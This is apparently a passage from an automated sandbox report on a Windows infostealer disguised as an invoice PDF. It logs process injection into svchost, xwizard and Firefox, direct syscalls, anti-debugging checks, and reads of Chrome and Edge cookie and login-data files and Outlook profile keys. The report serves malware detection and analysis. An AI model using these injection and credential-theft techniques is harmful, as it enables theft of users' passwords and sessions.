Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4978 mov eax, dword ptr fs:[00000030h]	2_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4978 mov eax, dword ptr fs:[00000030h]	2_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC97C mov eax, dword ptr fs:[00000030h]	2_2_037BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov eax, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov edx, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov eax, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0946 mov eax, dword ptr fs:[00000030h]	2_2_037B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B892A mov eax, dword ptr fs:[00000030h]	2_2_037B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C892B mov eax, dword ptr fs:[00000030h]	2_2_037C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC912 mov eax, dword ptr fs:[00000030h]	2_2_037BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728918 mov eax, dword ptr fs:[00000030h]	2_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728918 mov eax, dword ptr fs:[00000030h]	2_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE908 mov eax, dword ptr fs:[00000030h]	2_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE908 mov eax, dword ptr fs:[00000030h]	2_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037629F9 mov eax, dword ptr fs:[00000030h]	2_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037629F9 mov eax, dword ptr fs:[00000030h]	2_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_037BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037649D0 mov eax, dword ptr fs:[00000030h]	2_2_037649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_037FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C69C0 mov eax, dword ptr fs:[00000030h]	2_2_037C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov esi, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov eax, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov eax, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD mov eax, dword ptr fs:[00000030h]	2_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD mov eax, dword ptr fs:[00000030h]	2_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE872 mov eax, dword ptr fs:[00000030h]	2_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE872 mov eax, dword ptr fs:[00000030h]	2_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6870 mov eax, dword ptr fs:[00000030h]	2_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6870 mov eax, dword ptr fs:[00000030h]	2_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760854 mov eax, dword ptr fs:[00000030h]	2_2_03760854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734859 mov eax, dword ptr fs:[00000030h]	2_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734859 mov eax, dword ptr fs:[00000030h]	2_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03742840 mov ecx, dword ptr fs:[00000030h]	2_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov ecx, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A830 mov eax, dword ptr fs:[00000030h]	2_2_0376A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D483A mov eax, dword ptr fs:[00000030h]	2_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D483A mov eax, dword ptr fs:[00000030h]	2_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC810 mov eax, dword ptr fs:[00000030h]	2_2_037BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_037FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0375E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC89D mov eax, dword ptr fs:[00000030h]	2_2_037BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730887 mov eax, dword ptr fs:[00000030h]	2_2_03730887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375AF69 mov eax, dword ptr fs:[00000030h]	2_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375AF69 mov eax, dword ptr fs:[00000030h]	2_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2F60 mov eax, dword ptr fs:[00000030h]	2_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2F60 mov eax, dword ptr fs:[00000030h]	2_2_037D2F60

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_00426DA1

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,	0_2_0042202E
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004230F5
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417D93
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\xwizard.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: NULL target: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: NULL target: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\xwizard.exe

Thread register set: target process: 7864

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2BD9008

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

0_2_0040D6D0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe"	Jump to behavior
Source: C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe	Process created: C:\Windows\SysWOW64\xwizard.exe "C:\Windows\SysWOW64\xwizard.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4502564623.00000000010F1000.00000002.00000001.00040000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000000.2275148397.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, fQbMdgFgKkVEm.exe, 00000004.00000002.4502564623.00000000010F1000.00000002.00000001.00040000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000000.2275148397.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4502564623.00000000010F1000.00000002.00000001.00040000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000000.2275148397.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4502564623.00000000010F1000.00000002.00000001.00040000.00000000.sdmp, fQbMdgFgKkVEm.exe, 00000004.00000000.2275148397.00000000010F1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2031582166.0000000002E51000.00000004.00000020.00020000.00000000.sdmp, Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000002.2042554128.0000000002E7E000.00000004.00000020.00020000.00000000.sdmp, Outstanding Invoices Spreadsheet Scan 00495_PDF.exe, 00000000.00000003.2032492519.0000000002E7E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: mcupdate.exe

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4507703675.0000000006490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4501630605.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502701769.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353981080.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502765838.0000000004CB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353173694.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4503127560.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2354040519.0000000004800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\xwizard.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

